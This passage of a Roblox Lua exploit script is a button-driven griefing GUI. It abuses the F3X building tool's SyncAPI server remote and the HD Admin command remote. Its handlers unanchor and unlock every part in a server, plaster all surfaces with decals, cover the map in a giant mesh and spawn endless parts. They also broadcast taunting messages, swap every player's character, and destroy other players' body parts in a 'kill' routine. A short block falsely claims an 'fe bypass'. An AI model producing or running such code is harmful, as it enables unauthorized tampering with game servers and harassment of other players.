[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
local function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
local function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
local function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
local function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
local function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
local function Weld(part1, part2, lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
local function SetLocked(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
local function SetTrans(part, int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
local function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
local function SyncLighting(part, brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
local function Color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
_(args)
end
local function SpawnDecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
local function AddDecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://" .. asset
}
}
}
_(args)
end
local function Sky(id)
local root = char:WaitForChild("HumanoidRootPart")
local spawnCF = root.CFrame + Vector3.new(0, 6, 0)
-- Snapshot existing parts before creating
local existingParts = {}
for _, v in workspace:GetChildren() do
existingParts[v] = true
end
CreatePart(spawnCF, workspace)
task.wait(0.3)
-- Find the newly added part
local skyPart
for _, v in workspace:GetChildren() do
if v:IsA("BasePart") and not existingParts[v] then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "Sky")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(10000, 10000, 10000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
else
warn("Sky part not found after creation!")
end
end
Sky("1369437449")
--Please leave this credit
--Script made by Yaazkidd (I copy inspiration from blue2spooky wooo)
end)
end;
task.spawn(C_8);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_a()
local script = G2L["a"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
if not tool then return end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function CreatePart(cf,parent)
_({"CreatePart","Normal",cf,parent})
end
function SetName(part,name)
_({"SetName",{part},name})
end
function Resize(part,size,cf)
_({"SyncResize",{{Part=part,CFrame=cf,Size=size}}})
end
function MovePart(part,cf)
_({"SyncMove",{{Part=part,CFrame=cf}}})
end
function SetLocked(part,boolean)
_({"SetLocked",{part},boolean})
end
function SetTrans(part,int)
_({"SyncMaterial",{{Part=part,Transparency=int}}})
end
function SpawnDecal(part,side)
_({"CreateTextures",{{Part=part,Face=side,TextureType="Decal"}}})
end
function AddDecal(part,asset,side)
_({"SyncTexture",{{Part=part,Face=side,TextureType="Decal",Texture="rbxassetid://6877509129"}}})
end
while wait(0.1) do
spawn(function()
local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100)
local f = char.HumanoidRootPart.CFrame.y
local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100)
CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
SetName(v,"particle")
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,decalId,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,decalId,Enum.NormalId.Back)
SetTrans(v,1)
Resize(v,Vector3.new(7,7,0.1),v.CFrame)
SetLocked(v,true)
while wait(0.01) do
MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z))
end
end
end
end)
end
end)
end;
task.spawn(C_a);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_c()
local script = G2L["c"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = workspace.Part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Unanchor()
for i,v in game.Workspace:GetDescendants() do
spawn(function()
SetLocked(v,false)
SetAnchor(false,v)
end)
end
end
Unanchor()
end)
end;
task.spawn(C_c);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_e()
local script = G2L["e"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";sm THE N00BZ ARE HERE NOW SURRENDER")
end)
end;
task.spawn(C_e);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_10()
local script = G2L["10"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";SH WE WANT OUR INDEPENDENCE NOW! GIVE OUR NOOB LAND BACK!")
end)
end;
task.spawn(C_10);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_12()
local script = G2L["12"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommand
RequestCommand:InvokeServer(";CHAR ALL NOOB_313878")
end)
end;
task.spawn(C_12);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_14()
local script = G2L["14"];
warn('fe bypass complete')
game.Workspace.FilteringEnabled = false
end;
task.spawn(C_14);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_16()
local script = G2L["16"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
--craaa
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function SetCollision(part,boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
function SetAnchor(boolean,part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
function CreatePart(cf,parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part,cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
function Resize(part,size,cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://"..texid
}
}
}
_(args)
end
function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
function MeshResize(part,size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
function Weld(part1, part2,lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
function SetLocked(part,boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
function SyncLighting(part,brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
function Color(part,color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color --[[Color3]],
["UnionColoring"] = false
}
}
}
_(args)
end
function SpawnDecal(part,side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
function AddDecal(part,asset,side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://".. asset
}
}
}
_(args)
end
function spam(id)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") then
spawn(function()
SetLocked(v,false)
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,id,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,id,Enum.NormalId.Back)
SpawnDecal(v,Enum.NormalId.Right)
AddDecal(v,id,Enum.NormalId.Right)
SpawnDecal(v,Enum.NormalId.Left)
AddDecal(v,id,Enum.NormalId.Left)
SpawnDecal(v,Enum.NormalId.Bottom)
AddDecal(v,id,Enum.NormalId.Bottom)
SpawnDecal(v,Enum.NormalId.Top)
AddDecal(v,id,Enum.NormalId.Top)
end)
end
end
end
spam("13456816107")
-----------------------
local player = game.Players.LocalPlayer
local char = player.Character
local tool
local remote
-- Search player Backpack and character for the tool
for _, v in player.Backpack:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
if not tool and char then
for _, v in char:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
end
if not tool then
for _, v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
break
end
end
end
if not tool then
warn("SyncAPI tool not found!")
return
end
remote = tool.SyncAPI.ServerEndpoint
local function _(args)
remote:InvokeServer(table.unpack(args))
end
local function SetCollision(part, boolean)
local args = {
[1] = "SyncCollision",
[2] = {
[1] = {
["Part"] = part,
["CanCollide"] = boolean
}
}
}
_(args)
end
local function SetAnchor(boolean, part)
local args = {
[1] = "SyncAnchor",
[2] = {
[1] = {
["Part"] = part,
["Anchored"] = boolean
}
}
}
_(args)
end
local function CreatePart(cf, parent)
local args = {
[1] = "CreatePart",
[2] = "Normal",
[3] = cf,
[4] = parent
}
_(args)
end
local function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
local function MovePart(part, cf)
local args = {
[1] = "SyncMove",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf
}
}
}
_(args)
end
local function Resize(part, size, cf)
local args = {
[1] = "SyncResize",
[2] = {
[1] = {
["Part"] = part,
["CFrame"] = cf,
["Size"] = size
}
}
}
_(args)
end
local function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
local function SetMesh(part, meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://" .. meshid
}
}
}
_(args)
end
local function SetTexture(part, texid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["TextureId"] = "rbxassetid://" .. texid
}
}
}
_(args)
end
local function SetName(part, stringg)
local args = {
[1] = "SetName",
[2] = {
[1] = part
},
[3] = stringg
}
_(args)
end
local function MeshResize(part, size)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Scale"] = size
}
}
}
_(args)
end
local function Weld(part1, part2, lead)
local args = {
[1] = "CreateWelds",
[2] = {
[1] = part1,
[2] = part2
},
[3] = lead
}
_(args)
end
local function SetLocked(part, boolean)
local args = {
[1] = "SetLocked",
[2] = {
[1] = part
},
[3] = boolean
}
_(args)
end
local function SetTrans(part, int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
local function CreateSpotlight(part)
local args = {
[1] = "CreateLights",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight"
}
}
}
_(args)
end
local function SyncLighting(part, brightness)
local args = {
[1] = "SyncLighting",
[2] = {
[1] = {
["Part"] = part,
["LightType"] = "SpotLight",
["Brightness"] = brightness
}
}
}
_(args)
end
local function Color(part, color)
local args = {
[1] = "SyncColor",
[2] = {
[1] = {
["Part"] = part,
["Color"] = color,
["UnionColoring"] = false
}
}
}
_(args)
end
local function SpawnDecal(part, side)
local args = {
[1] = "CreateTextures",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal"
}
}
}
_(args)
end
local function AddDecal(part, asset, side)
local args = {
[1] = "SyncTexture",
[2] = {
[1] = {
["Part"] = part,
["Face"] = side,
["TextureType"] = "Decal",
["Texture"] = "rbxassetid://" .. asset
}
}
}
_(args)
end
local function Sky(id)
local root = char:WaitForChild("HumanoidRootPart")
local spawnCF = root.CFrame + Vector3.new(0, 6, 0)
-- Snapshot existing parts before creating
local existingParts = {}
for _, v in workspace:GetChildren() do
existingParts[v] = true
end
CreatePart(spawnCF, workspace)
task.wait(0.3)
-- Find the newly added part
local skyPart
for _, v in workspace:GetChildren() do
if v:IsA("BasePart") and not existingParts[v] then
skyPart = v
break
end
end
if skyPart then
SetName(skyPart, "Sky")
AddMesh(skyPart)
SetMesh(skyPart, "111891702759441")
SetTexture(skyPart, id)
MeshResize(skyPart, Vector3.new(10000, 10000, 10000))
SetLocked(skyPart, true)
SetAnchor(true, skyPart)
else
warn("Sky part not found after creation!")
end
end
Sky("13456816107")
--Please leave this credit
--Script made by Yaazkidd (I copy inspiration from blue2spooky wooo)
----------------------------
local player = game.Players.LocalPlayer
local char = player.Character or player.CharacterAdded:Wait()
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
if not tool then return end
local remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
function CreatePart(cf,parent)
_({"CreatePart","Normal",cf,parent})
end
function SetName(part,name)
_({"SetName",{part},name})
end
function Resize(part,size,cf)
_({"SyncResize",{{Part=part,CFrame=cf,Size=size}}})
end
function MovePart(part,cf)
_({"SyncMove",{{Part=part,CFrame=cf}}})
end
function SetLocked(part,boolean)
_({"SetLocked",{part},boolean})
end
function SetTrans(part,int)
_({"SyncMaterial",{{Part=part,Transparency=int}}})
end
function SpawnDecal(part,side)
_({"CreateTextures",{{Part=part,Face=side,TextureType="Decal"}}})
end
function AddDecal(part,asset,side)
_({"SyncTexture",{{Part=part,Face=side,TextureType="Decal",Texture="rbxassetid://13456816107"}}})
end
while wait(0.1) do
spawn(function()
local e = char.HumanoidRootPart.CFrame.x + math.random(-100, 100)
local f = char.HumanoidRootPart.CFrame.y
local g = char.HumanoidRootPart.CFrame.z + math.random(-100, 100)
CreatePart(CFrame.new(math.floor(e), math.floor(f), math.floor(g)) + Vector3.new(0,6,0), workspace)
for i,v in game.Workspace:GetDescendants() do
if v:IsA("BasePart") and v.CFrame.x == math.floor(e) and v.CFrame.z == math.floor(g) then
SetName(v,"particle")
SpawnDecal(v,Enum.NormalId.Front)
AddDecal(v,decalId,Enum.NormalId.Front)
SpawnDecal(v,Enum.NormalId.Back)
AddDecal(v,decalId,Enum.NormalId.Back)
SetTrans(v,1)
Resize(v,Vector3.new(7,7,0.1),v.CFrame)
SetLocked(v,true)
while wait(0.01) do
MovePart(v,CFrame.new(v.CFrame.x,v.CFrame.y + 3,v.CFrame.z))
end
end
end
end)
end
end)
end;
task.spawn(C_16);
-- StarterGui.ScreenGui.Frame.TextButton.LocalScript
local function C_18()
local script = G2L["18"];
local button = script.Parent
button.MouseButton1Click:Connect(function()
--[[
WARNING: Heads up! This script has not been verified by ScriptBlox. Use at your own risk!
]]
function BurningEff(part)
local eff1 = Instance.new("ParticleEmitter",part)
eff1.Size = NumberSequence.new(.1)
eff1.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff1.LightEmission = 1
eff1.Lifetime = NumberRange.new(1)
eff1.Speed = NumberRange.new(0)
eff1.Rate = 100
eff1.Texture = "rbxassetid://347504241"
eff1.Acceleration = Vector3.new(0,10,0)
eff1.Color = ColorSequence.new(Color3.new(1,0,0))
local eff2 = Instance.new("ParticleEmitter",part)
eff2.Size = NumberSequence.new(.1)
eff2.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(.2,0),NumberSequenceKeypoint.new(1,1)})
eff2.LightEmission = 1
eff2.Lifetime = NumberRange.new(1)
eff2.Speed = NumberRange.new(0)
eff2.Rate = 100
eff2.Texture = "rbxassetid://347504259"
eff2.Acceleration = Vector3.new(0,10,0)
eff2.Color = ColorSequence.new(Color3.new(1,0,0))
local eff3 = Instance.new("ParticleEmitter",part)
eff3.Size = NumberSequence.new(1)
eff3.Transparency = NumberSequence.new({NumberSequenceKeypoint.new(0,0),NumberSequenceKeypoint.new(1,1)})
eff3.LightEmission = 1
eff3.Lifetime = NumberRange.new(1)
eff3.Speed = NumberRange.new(0)
eff3.Rate = 100
eff3.Texture = "rbxasset://textures/particles/fire_main.dds"
eff3.Acceleration = Vector3.new(0,10,0)
eff3.Color = ColorSequence.new(Color3.new(1,0,0))
end
local player = game.Players.LocalPlayer
local char = player.Character
local tool
for i,v in player:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
for i,v in game.ReplicatedStorage:GetDescendants() do
if v.Name == "SyncAPI" then
tool = v.Parent
end
end
remote = tool.SyncAPI.ServerEndpoint
function _(args)
remote:InvokeServer(unpack(args))
end
blak=Color3.new(0,0,0)
local function Color(part, color)
local args = {
"SyncColor",
{
{
Part = part,
Color = color,
UnionColoring = false
}
}
}
_(args)
end
function DestroyPart(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MoveVector(part,vector)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["Offset"] = vector
}
}
}
_(args)
end
function AddMesh(part)
local args = {
[1] = "CreateMeshes",
[2] = {
[1] = {
["Part"] = part
}
}
}
_(args)
end
function SetMesh(part,meshid)
local args = {
[1] = "SyncMesh",
[2] = {
[1] = {
["Part"] = part,
["MeshId"] = "rbxassetid://"..meshid
}
}
}
_(args)
end
function SetTrans(part,int)
local args = {
[1] = "SyncMaterial",
[2] = {
[1] = {
["Part"] = part,
["Transparency"] = int
}
}
}
_(args)
end
local function applyDecorationToPart(part)
local argsCreate = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
local argsSync = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = 3,
["Heat"] = 25,
["Color"] = Color3.fromRGB(255, 0, 0),
["SecondaryColor"] = Color3.fromRGB(255, 0, 0)
}
}
}
_(argsCreate)
_(argsSync)
end
function eyePart(part)
local argsCreate = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
local argsSync = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = 1,
["Heat"] = 12,
["Color"] = Color3.fromRGB(155, 0, 0),
["SecondaryColor"] = Color3.fromRGB(255, 0, 0)
}
}
}
_(argsCreate)
_(argsSync)
end
local ReplicatedStorage = game:GetService("ReplicatedStorage")
local Players = game:GetService("Players")
local UserInputService = game:GetService("UserInputService")
local RequestCommand = ReplicatedStorage:WaitForChild("HDAdminHDClient").Signals.RequestCommandSilent
--kill thingy
function thekille(target)
if target and target.Character then
for i,v in target.Character:GetDescendants() do
if v:IsA("BasePart") then
RequestCommand:InvokeServer(";paint "..target.Name.." black")
spawn(function()
Color(v,blak)
end)
spawn(function()
SetTrans(v,0.1)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.2)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.3)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.4)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.5)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.6)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.7)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.8)
end)
wait(0.5)
spawn(function()
SetTrans(v,0.9)
end)
wait(0.5)
spawn(function()
SetTrans(v,1)
end)
wait(3)
spawn(function()
DestroyPart(v)
end)
end
end
end
end
wait(0.1)
local kill = Instance.new("Sound",char)
kill.SoundId = "rbxassetid://28144425"
kill.Pitch = 0.6
kill.Volume = 3
local at = kill:Clone()
at.SoundId="rbxassetid://82500396906354"
at.Parent = char
at.Volume = 0.5
local player = Players.LocalPlayer
local character = char
RequestCommand:InvokeServer(";titlebk me ᴊᴏʜɴ ᴅᴏᴇ")
RequestCommand:InvokeServer(";removeaccessories")
wait(1.5)
RequestCommand:InvokeServer(";hat me 18196403126")
wait(0.6)
RequestCommand:InvokeServer(";shirt me 100276101149100")
wait(0.9)
RequestCommand:InvokeServer(";pants me 109662040845019")
wait(0.5)
RequestCommand:InvokeServer(";head me 0")
wait(0.7)
RequestCommand:InvokeServer(";face me 144075659")
wait(0.3)
local eye = char:FindFirstChild("Accessory (JohnEye)").Handle
local arm = char:FindFirstChild("Right Arm")
local tor = char:FindFirstChild("Torso")
local ar2 = char:FindFirstChild("Left Arm")
local RLeg = char:FindFirstChild("Right Leg")
local head = char:FindFirstChild("Head")
local LLeg = char:FindFirstChild("Left Leg")
task.spawn(function()
applyDecorationToPart(arm)
end)
task.spawn(function()
applyDecorationToPart(ar2)
end)
task.spawn(function()
eyePart(eye)
end)
RequestCommand:InvokeServer(";music 17717379222 ;pitch 0.2 ;volume inf")
task.spawn(function()
Color(arm, Color3.fromRGB(0,0,0))
end)
task.spawn(function()
Color(ar2, Color3.fromRGB(252, 255, 150))
end)
task.spawn(function()
Color(head, Color3.fromRGB(252, 255, 150))
end)
task.spawn(function()
Color(tor, Color3.fromRGB(255, 255, 0))
end)
task.spawn(function()
Color(RLeg, Color3.fromRGB(0, 200, 255))
end)
task.spawn(function()
Color(LLeg, Color3.fromRGB(0, 200, 255))
end)
task.spawn(function()
AddMesh(arm)
end)
task.spawn(function()
SetMesh(arm,"94818190090394")
end)
task.spawn(function()
MoveVector(arm,Vector3.new(0.37, -0.6, 0))
end)
local arm = character:FindFirstChild("Right Arm")
local humanoid = character:FindFirstChildOfClass("Humanoid")
local isDead = false
humanoid.Died:Connect(function()
isDead = true
end)
local animator = humanoid:FindFirstChildOfClass("Animator")
local attackAnim = Instance.new("Animation")
attackAnim.AnimationId = "rbxassetid://186934658"
local attackTrack = animator:LoadAnimation(attackAnim)
function attack()
attackTrack:Play()
local hitPlayer = nil
local touchedConnection
local function onTouch(other)
local otherPlayer = Players:GetPlayerFromCharacter(other.Parent)
if otherPlayer and otherPlayer ~= player then
hitPlayer = otherPlayer
end
end
touchedConnection = arm.Touched:Connect(onTouch)
task.wait(0.5)
if touchedConnection then
touchedConnection:Disconnect()
end
if hitPlayer then
d = at:Clone()
d:Play()
d.Parent = char
spawn(function()
wait(5)
d:Destroy()
end)
task.spawn(DestroyPart,hitPlayer.Character.Head)
else
d = kill:Clone()
d:Play()
d.Parent = char
wait(5)
d:Destroy()
end
end
UserInputService.TouchTap:Connect(function(input, gameProcessed)
if gameProcessed then return end
if isDead then return end
attack()
end)
local backpack = player.Backpack
local function getf3x()
for _, v in ipairs(backpack:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
for _, v in ipairs(char:GetChildren()) do
if v:FindFirstChild("SyncAPI") then
return v
end
end
return nil
end
local f3x = getf3x()
if not f3x then
warn("you dont have f3x skid")
end
local syncapi = f3x.SyncAPI
local serverendpoint = syncapi.ServerEndpoint
local function fire(part)
local argsCreate = {
[1] = "CreateDecorations",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire"
}
}
}
local argsSync = {
[1] = "SyncDecorate",
[2] = {
[1] = {
["Part"] = part,
["DecorationType"] = "Fire",
["Size"] = 10,
["Heat"] = 0,
["Color"] = Color3.fromRGB(255, 0, 0),
["SecondaryColor"] = Color3.fromRGB(255, 0, 0)
}
}
}
_(argsCreate)
_(argsSync)
end
function delete(part)
local args = {
[1] = "Remove",
[2] = {
[1] = part
}
}
_(args)
end
function MovePart(part, cf)
local args = {
"SyncMove",
{
{
Part = part,
CFrame = cf
}
}
}
_(args)
end
local function resize(part, size, cf)
local args = {
"SyncResize",
{
{
Part = part,
CFrame = cf,
Size = size
}
}
}
_(args)
end
local function syncmaterial(part, mate)
local args = {
"SyncMaterial",
{
{
Part = part,
Material = mate
}
}
}
_(args)
end
local function transparency(part, trans)
local args = {
"SyncMaterial",
{
{
Part = part,
Transparency = trans
}
}
}
_(args)
end
local function color(part, color)
local args = {
"SyncColor",
{
{
Part = part,
Color = color,
UnionColoring = false
}
}
}
_(args)
end
local function syncmeshid(part, id)
local args = {
"SyncMesh",
{
{
Part = part,
MeshId = "rbxassetid://" .. id
}
}
}
_(args)
end
